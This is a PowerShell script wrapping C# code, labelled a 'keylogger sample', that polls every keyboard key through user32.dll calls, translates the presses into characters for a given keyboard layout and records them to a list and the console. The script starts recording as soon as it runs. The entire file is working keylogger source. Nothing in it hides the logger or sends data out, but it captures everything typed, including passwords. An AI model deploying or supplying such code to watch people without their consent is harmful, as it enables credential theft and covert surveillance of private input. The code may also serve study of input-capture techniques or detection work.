################## # # PowerKeyShellLogger v1.0 # (C) Ondrej Sevecek, 2014 - www.sevecek.com, ondrej@sevecek.com # # PowerShell/C# keylogger sample # # function Define-PowerKeyShellLogger() { $powerKeyShellLogger = @" using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace Sevecek.PowerKeyShellLogger { public class User32 { // Virtual key reference at: http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx public const int VK_LBUTTON = 1; // the lowest known virtual key id public const int VK_BACK = 8; // backspace public const int VK_TAB = 9; public const int VK_RETURN = 0x0D; // enter public const int VK_ESCAPE = 0x1B; public const int VK_PRIOR = 0x21; // page up public const int VK_NEXT = 0x22; // page down public const int VK_END = 0x23; public const int VK_HOME = 0x24; public const int VK_LEFT = 0x25; public const int VK_UP = 0x26; public const int VK_RIGHT = 0x27; public const int VK_DOWN = 0x28; public const int VK_DELETE = 0x2E; public const int VK_LSHIFT = 160; public const int VK_RSHIFT = 161; public const int VK_LCONTROL = 162; public const int VK_RCONTROL = 163; public const int VK_OEM_CLEAR = 254; // the highest known virtual key id public const int VK_LOWEST = VK_LBUTTON; public const int VK_HIGHEST = VK_OEM_CLEAR; [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] public static extern short GetAsyncKeyState(int virtualKeyCode); // Does not work as expected here in C# // While within PowerShell it is like charm [DllImport("user32.dll", CharSet = CharSet.Auto)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern uint MapVirtualKey(uint uCode, uint uMapType); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int ToUnicode( uint wVirtKey, uint wScanCode, byte[] lpkeystate, [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags ); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern int ToUnicodeEx( uint wVirtKey, uint wScanCode, byte[] lpkeystate, [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl ); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetKeyboardLayout(uint idThread); [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern IntPtr LoadKeyboardLayout(string pwszKLID, uint Flags); } public class Recorder { // Keyboard layout examples: // US-English = 00000409 // US-English-Dvorak = 00010409 // UK-English = 00000809 // Czech = 00000405 // Czech-QUERTY = 00010405 // Slovak = 0000041B // German = 00000407 // More to be found at: http://support.microsoft.com/kb/138354 public static void Record(System.Collections.ArrayList keylog, string keyboardLayout, bool outputToConsole) { byte[] previousVkeyStates = new byte[256]; // Some means to stop oderwise infinite cycle while ((previousVkeyStates[User32.VK_LSHIFT] == 0) || (previousVkeyStates[User32.VK_RSHIFT] == 0) || (previousVkeyStates[User32.VK_LCONTROL] == 0) || (previousVkeyStates[User32.VK_RCONTROL] == 0)) { System.Threading.Thread.Sleep(10); // Get states of all keys again in order to call ToUnicode() later // If the GetKeyboardState() worked, we would make do with it // but it does not work at all. byte[] vkeyStates = new byte[256]; // Go from the first virtual key ID to the last one for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID++) { // We check the most significant bit here ((short) 0x8000 = -32768) // It is not -32767 as against some bloggers because RTFM // We cannot rely on the least significant bit telling // us the previous state - according to documentation: // "Although the least significant bit of the return // value indicates whether the key has been pressed // since the last query, due to the pre-emptive multitasking // nature of Windows, another application can call // GetAsyncKeyState and receive the "recently pressed" bit // instead of your application. The behavior of the least // significant bit of the return value is retained strictly // for compatibility with 16-bit Windows applications // (which are non-preemptive) and should not be relied upon." // Must set the most significant bit in order for ToUnicode() // to consider the special key pressed. vkeyStates[vkeyID] = ((User32.GetAsyncKeyState(vkeyID) & 0x8000) == 0x8000) ? (byte) 0xFF : (byte) 0x00; } for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID ++) { if ((vkeyStates[vkeyID] == 0xFF) && (previousVkeyStates[vkeyID] == 0x00)) { string nextChar = ""; bool newLine = false; switch (vkeyID) { case User32.VK_BACK: nextChar = "<BCK>"; break; case User32.VK_TAB: nextChar = "<TAB>"; newLine = true; break; case User32.VK_RETURN: nextChar = "<ENTER>"; newLine = true; break; case User32.VK_ESCAPE: nextChar = "<ESC>"; newLine = true; break; case User32.VK_PRIOR: nextChar = "<PGUP>"; newLine = true; break; case User32.VK_NEXT: nextChar = "<PGDN>"; newLine = true; break; case User32.VK_END: nextChar = "<END>"; break; case User32.VK_HOME: nextChar = "<HOME>"; break; case User32.VK_LEFT: nextChar = "<LEFT>"; break; case User32.VK_UP: nextChar = "<UP>"; newLine = true; break; case User32.VK_RIGHT: nextChar = "<RIGHT>"; break; case User32.VK_DOWN: nextChar = "<DOWN>"; newLine = true; break; case User32.VK_DELETE: nextChar = "<DEL>"; break; default: // We need a writable buffer to receive the translation System.Text.StringBuilder unicodeChars = new System.Text.StringBuilder(4); if (User32.ToUnicodeEx(vkeyID, User32.MapVirtualKey(vkeyID, 0), vkeyStates, unicodeChars, unicodeChars.Capacity, 0, User32.LoadKeyboardLayout(keyboardLayout, 1)) > 0) { nextChar = unicodeChars.ToString(); } break; } if (nextChar != "") { if (keylog.Count > 0) { string currentLine = (string)keylog[keylog.Count - 1]; keylog.RemoveAt(keylog.Count - 1); keylog.Add(currentLine + nextChar); } else { keylog.Add(nextChar); } if (outputToConsole) { Console.Write(nextChar); } } if (newLine) { keylog.Add(""); if (outputToConsole) { Console.WriteLine(); } } } previousVkeyStates[vkeyID] = vkeyStates[vkeyID]; } } } } class Program { static void Main(string[] args) { System.Collections.ArrayList keylog = new System.Collections.ArrayList(); Recorder.Record(keylog, "00000409", true); } } } "@ if (-not ('Sevecek.PowerKeyShellLogger.User32' -as [type])) { [void] (Add-Type -TypeDefinition $powerKeyShellLogger -PassThru) } } Define-PowerKeyShellLogger [System.Collections.ArrayList] $keyLog = @() [Sevecek.PowerKeyShellLogger.Recorder]::Record($keyLog, "00000409", $true)